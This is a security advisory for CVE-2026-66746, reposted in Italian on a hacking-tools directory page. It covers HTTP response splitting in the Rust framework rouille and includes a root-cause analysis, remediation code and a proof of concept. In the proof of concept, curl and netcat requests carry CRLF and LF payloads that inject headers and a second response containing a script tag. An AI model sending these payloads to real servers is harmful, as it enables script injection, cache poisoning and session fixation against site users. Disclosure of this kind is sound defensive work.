Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille- — Avviso di sicurezza: HTTP Response Splitting tramite valori non convalidati delle intestazioni di risposta (rouille) | Kitploit
Strumenti/GitHubGitHub/theopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-
Analisi delle VulnerabilitàAnalisi del CodiceSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubtheopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-

CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille-

Avviso di sicurezza: HTTP Response Splitting tramite valori non convalidati delle intestazioni di risposta (rouille)

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
23 giorni faNon ancora revisionato

Advisory di Sicurezza: HTTP Response Splitting tramite Valori di Header di Risposta Non Validati (rouille)

ID CVE assegnato: CVE-2026-66746

Riepilogo

rouille scrive i valori degli header di risposta al client senza verificarne la presenza di carriage return o line feed. Un'applicazione che inserisce testo influenzato dall'attaccante in un valore di header emette quindi header aggiuntivi, o un'intera seconda risposta HTTP, sul wire.

Due proprietà di rouille rendono questo raggiungibile nel codice ordinario. Request::get_param decodifica i percent-encoding, quindi %0d%0a in una query string diventa un vero CRLF. E session::session copia il valore del cookie Cookie del client stesso in Set-Cookie senza alcuna validazione.

Ogni altro stack HTTP Rust ampiamente utilizzato rifiuta questo a livello di tipo: http::HeaderValue::from_str restituisce InvalidHeaderValue per CR e LF, motivo per cui hyper, axum, actix-web e warp non sono esposti allo stesso modo.

Versioni interessate

URL del repository: https://github.com/tomaka/rouille

Prima versione interessata0.4.0 (2016-12-14) per il percorso degli header di risposta qui sotto
Ultima versione interessata3.6.2 (2023-04-24), la release attuale
Corretta innessuna versione corretta al momento della scrittura

Le release precedenti alla 0.4.0 emettono risposte attraverso un percorso di codice diverso che non è stato esaminato, quindi non vengono rivendicate in un senso o nell'altro. La riflessione session::session descritta nel percorso B esiste dalla 0.3.2 (2016-12-02) in poi.

Gravità

CWE-113 (Neutralizzazione impropria delle sequenze CRLF negli header HTTP), un caso specifico di CWE-93 (Iniezione CRLF).

Punteggio base CVSS 4.0: 5.3 (Medio) CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Modello di minaccia

Il percorso A richiede un attaccante remoto non autenticato e una vittima che segue un link fornito dall'attaccante. L'attaccante deve far sì che l'applicazione inserisca qualsiasi stringa derivata dalla richiesta in un header di risposta. Il reindirizzamento a un parametro di query next o return_to è il caso comune.

Il percorso B richiede solo che l'applicazione chiami session::session e legga l'id di sessione. L'attaccante controlla il proprio header Cookie, quindi da solo è auto-inflitto. Diventa un attacco contro altri quando una cache condivisa memorizza la risposta suddivisa, o quando viene combinato con un altro modo per impostare un cookie nel browser della vittima.

Causa principale

rouille/src/lib.rs, righe da 624 a 640, passa i valori direttamente:

root@kitploit:~
624              for (key, value) in rouille_response.headers {
625                  if key.eq_ignore_ascii_case("Content-Length") {
626                      continue;
627                  }
628  
629                  if key.eq_ignore_ascii_case("Upgrade") {
630                      upgrade_header = value;
631                      continue;
632                  }
633  
634                  if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635                  {
636                      response.add_header(header);

Header::from_bytes controlla solo che i byte siano ASCII, e CR e LF sono ASCII. tiny_http-0.12.0/src/common.rs, righe da 166 a 172:

root@kitploit:~
166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

Il valore viene poi scritto senza alcun escaping. tiny_http-0.12.0/src/response.rs, righe da 99 a 104:

root@kitploit:~
 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

Percorso A, parametri di query decodificati percent-encoding

Request::get_param decodifica gli escape percentuali, quindi il chiamante riceve veri caratteri di controllo. rouille/src/lib.rs, righe da 928 a 932:

root@kitploit:~
928              .map(|value| {
929                  percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930                      .decode_utf8_lossy()
931                      .into_owned()
932              })

Percorso B, identificatori di sessione riflessi dalla richiesta

rouille/src/session.rs prende la chiave dal cookie del client alla riga 59 e la interpola nell'header di risposta alle righe da 75 a 81:

root@kitploit:~
 59              key: cookie.into(),
...
 75          let header_value = format!(
 76              "{}={}; Max-Age={}; Path=/; HttpOnly",
 77              cookie_name, session.key, timeout_s
 78          );
 79          response
 80              .headers
 81              .push(("Set-Cookie".into(), header_value.into()));

Prova di concetto

Percorso A

Passo 1. Avvia un server che reindirizza a un parametro di query.

root@kitploit:~
use rouille::Response;

fn main() {
    rouille::start_server("127.0.0.1:8002", |request| {
        let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
        Response::redirect_303(next)
    });
}

Passo 2. Richiedilo con %0d%0a nel parametro.

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'

Risultato. X-Injected arriva come header a sé:

root@kitploit:~
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0

Passo 3. Estendi il payload oltre la fine degli header per emettere un'intera seconda risposta.

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'

Risultato. Una richiesta, due risposte complete. La seconda trasporta una riga di stato, un content type e un body scelti dall'attaccante:

root@kitploit:~
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert(1)</script>

Percorso B

Passo 1. Avvia un server che utilizza l'idioma di sessione documentato.

root@kitploit:~
use rouille::{session, Response};

fn main() {
    rouille::start_server("127.0.0.1:8006", |request| {
        session::session(request, "SID", 3600, |s| {
            Response::text(format!("session id: {}", s.id()))
        })
    });
}

Passo 2. Invia un cookie il cui valore contiene un LF nudo. \n qui sotto è un singolo line feed, \r\n è un CRLF.

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006

Risultato. Il valore esce da Set-Cookie sulla propria riga:

root@kitploit:~
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly

Il percorso B ha tre limiti degni di nota. Solo un LF nudo passa, perché un CRLF avrebbe terminato la riga dell'header in tiny_http, quindi il client o la cache devono trattare un LF solitario come terminatore. Tutto ciò che segue il punto di iniezione trasporta ancora il suffisso ; Max-Age=3600; Path=/; HttpOnly dello stesso format!, quindi la primitiva è un header con una stringa finale fissa piuttosto che un header arbitrario pulito. E l'attaccante controlla solo il proprio cookie. Il percorso A non ha nessuno di questi limiti.

Impatto

Esecuzione di script nel contesto di sicurezza dell'origine, avvelenamento della cache quando una cache condivisa memorizza la risposta iniettata contro l'URL della vittima, fissazione della sessione tramite un Set-Cookie iniettato e sovrascrittura di header di sicurezza come CSP o CORS. Poiché il percorso A produce un vero CRLF, ogni client e cache divide su di esso.

Rimedio

Valida i valori degli header in Server::process prima di passarli a tiny_http, in rouille/src/lib.rs attorno alla riga 634:

root@kitploit:~
fn header_value_is_safe(v: &str) -> bool {
    !v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}

Restituisci un 500 per l'intera risposta piuttosto che eliminare l'header problematico, così il fallimento è visibile invece di cambiare silenziosamente la risposta.

Valida anche la chiave di sessione in session::session: rifiuta un valore di cookie che non sia [A-Za-z0-9]+ e genera un nuovo id invece. Controllare in Response::with_additional_header, with_unique_header e nei costruttori redirect_* farebbe emergere l'errore nel punto di chiamata, dove l'autore dell'applicazione può intervenire.

Scarica lo strumento